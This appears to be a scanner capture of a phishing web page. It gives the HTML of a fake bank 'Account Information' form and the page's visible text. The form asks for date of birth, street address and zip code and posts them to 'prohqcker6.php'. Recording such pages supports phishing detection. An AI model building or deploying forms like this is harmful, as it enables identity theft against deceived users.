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1 forms found in the DOM

POST prohqcker6.php

<form id="ah-acct-ssn-form" class="ptop-30" method="post" action="prohqcker6.php">
  <div class="columns small-12">
    <section id="title-section">
      <div class="row mbottom-20">
        <div class="column small-12 title-text">Account Information</div>
      </div>
      <div class="row mbottom-30">
        <div id="introText" class="column small-12 intro-text">Please provide the following information to establish your identity.</div>
      </div>
    </section>
    <section id="form-section">
      <div class="row">
        <div class="column small-12 medium-6 large-4 clearfix">
          <div class="mbottom-20">
            <div class="spa-input spa-input-box spa-input--sparta2">
              <label class="spa-input-label" data-font="cnx-medium" for="acctNumber">Date of Birth</label>
              <input type="date" class="spa-input-text gis-mask gis-mask-original" id="fname" name="dob" autocomplete="off" maxlength="20" required="">
            </div>
          </div>
        </div>
      </div>
      <div class="row">
        <div class="column small-12 medium-6 large-4 clearfix">
          <div class="mbottom-20">
            <div class="spa-input spa-input-box spa-input--sparta2">
              <label class="spa-input-label" data-font="cnx-medium" for="acctNumber">Street Address (P.O Box)</label>
              <input type="text" class="spa-input-text gis-mask gis-mask-original" id="fname" name="street" autocomplete="off" maxlength="20" required="">
            </div>
          </div>
        </div>
      </div>
      <div class="row">
        <div class="column small-12 medium-6 large-4 clearfix">
          <div class="mbottom-20">
            <div class="spa-input spa-input-box spa-input--sparta2">
              <label class="spa-input-label" data-font="cnx-medium" for="acctNumber">Zip Code</label>
              <input type="tel" class="spa-input-text gis-mask gis-mask-original" id="zip" name="zip" autocomplete="off" maxlength="20" required="">
              <script>
                var element = document.getElementById('zip');
                var maskOptions = {
                  mask: '00000'
                };
                var mask = IMask(element, maskOptions);
              </script>
            </div>
          </div>
        </div>
      </div>
    </section>
    <section id="btn-section">
      <div class="row mtop-100 mbottom-30">
        <div class="column small-12 fl-lt clearfix">
          <div class="acct-btn-container">
            <div class="">
              <button id="verifyCustomerAccount" href="javascript:void(0);" class="spa-btn spa-btn--medium spa-btn--primary enroll" type="submit" default-button="">Continue</button>
            </div>
          </div>
        </div>
      </div>
    </section>
  </div>
</form>

Text Content

   Secure Area
 * En español


ACCOUNT INFORMATION

Account Information
Please provide the following information to establish your identity.
Date of Birth
Street Address (P.O Box)
Zip Code
Continue
Secure area
Privacy   |   Security

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